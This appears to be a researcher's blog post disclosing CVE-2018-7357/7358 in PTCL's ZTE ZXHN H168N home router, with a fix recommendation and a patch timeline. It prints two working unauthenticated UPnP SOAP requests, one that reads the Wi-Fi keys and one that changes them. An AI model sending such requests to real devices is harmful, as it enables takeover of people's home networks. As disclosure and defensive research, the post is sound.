Hi Folks,
There is a vulnerability in the ZTE home-router, installed in many homes (in millions) throughout the country, provided by Pakistan Telecommunication Company Limited (PTCL), which enables an attacker to bypass admin portal authentication and display and/or change the WIFI password. Furthermore, the attacker can reset the router to its factory settings and/or restart the router. This vulnerability exists due to excessive services disclosed by the router through one of the UPnP profile. There are many other functions which can be performed via the UPnP protocol. The following is an example proof of concept.
[*] POC: (CVE-2018-7357 and CVE-2018-7358)
Disclaimer: [This POC is for Educational Purposes , I would Not be
responsible for any misuse of the information mentioned in this blog post]
[+] Unauthenticated
[+] Author: Usman Saeed (usman [at] xc0re.net)
[+] Protocol: UPnP
[+] Affected Harware/Software:
Model name: ZXHN H168N v2.2
Build Timestamp: 20171127193202
Software Version: V2.2.0_PK1.2T5
[+] Findings:
1. Unauthenticated access to WLAN password:
POST /control/igd/wlanc_1_1 HTTP/1.1
Host: <IP>:52869
User-Agent: {omitted}
Content-Length: 288
Connection: close
Content-Type: text/xml; charset=”utf-8″
SOAPACTION: “urn:dslforum-org:service:WLANConfiguration:1#GetSecurityKeys” 1<?xml version=”1.0″ encoding=”utf-8″?>
<s:Envelope xmlns:s=”http://schemas.xmlsoap.org/soap/envelope/” s:encodingStyle=”http://schemas.xmlsoap.org/soap/encoding/”><s:Body><u:GetSecurityKeys xmlns:u=”urn:dslforum-org:service:WLANConfiguration:1″></u:GetSecurityKeys></s:Body></s:Envelope>
2. Unauthenticated WLAN passphrase change:
POST /control/igd/wlanc_1_1 HTTP/1.1
Host: <IP>:52869
User-Agent: {omitted}
Content-Length: 496
Connection: close
Content-Type: text/xml; charset=”utf-8″
SOAPACTION: “urn:dslforum-org:service:WLANConfiguration:1#SetSecurityKeys”<?xml version=”1.0″ encoding=”utf-8″?>
<s:Envelope xmlns:s=”http://schemas.xmlsoap.org/soap/envelope/” s:encodingStyle=”http://schemas.xmlsoap.org/soap/encoding/”><s:Body><u:SetSecurityKeys xmlns:u=”urn:dslforum-org:service:WLANConfiguration:1″><NewWEPKey0>{omitted}</NewWEPKey0><NewWEPKey1>{omitted}</NewWEPKey1><NewWEPKey2>{omitted}</NewWEPKey2><NewWEPKey3>{omitted}</NewWEPKey3><NewPreSharedKey>{omitted}</NewPreSharedKey><NewKeyPassphrase>{omitted}</NewKeyPassphrase></u:SetSecurityKeys></s:Body></s:Envelope>
[*] Solution:
UPnP should not provide excessive services, and if the fix is not possible, then UPnP should be disabled on the affected devices.
[*] Note:
There are other services which should not be published over UPnP, which are not mentioned in this blog post, as the solution is the same.
[+] Responsible Disclosure:
- Vulnerabilities identified – 20 August, 2018
- Reported to ZTE – 28 August, 2018
- ZTE official statement – 17 September 2018
- ZTE patched the vulnerability – 12 November 2018
- The operator pushed the update – 12 November 2018
- CVE published – Later
- Public disclosure – 12 November 2018
- Ref: http://support.zte.com.cn/support/news/LoopholeInfoDetail.aspx?newsId=1009522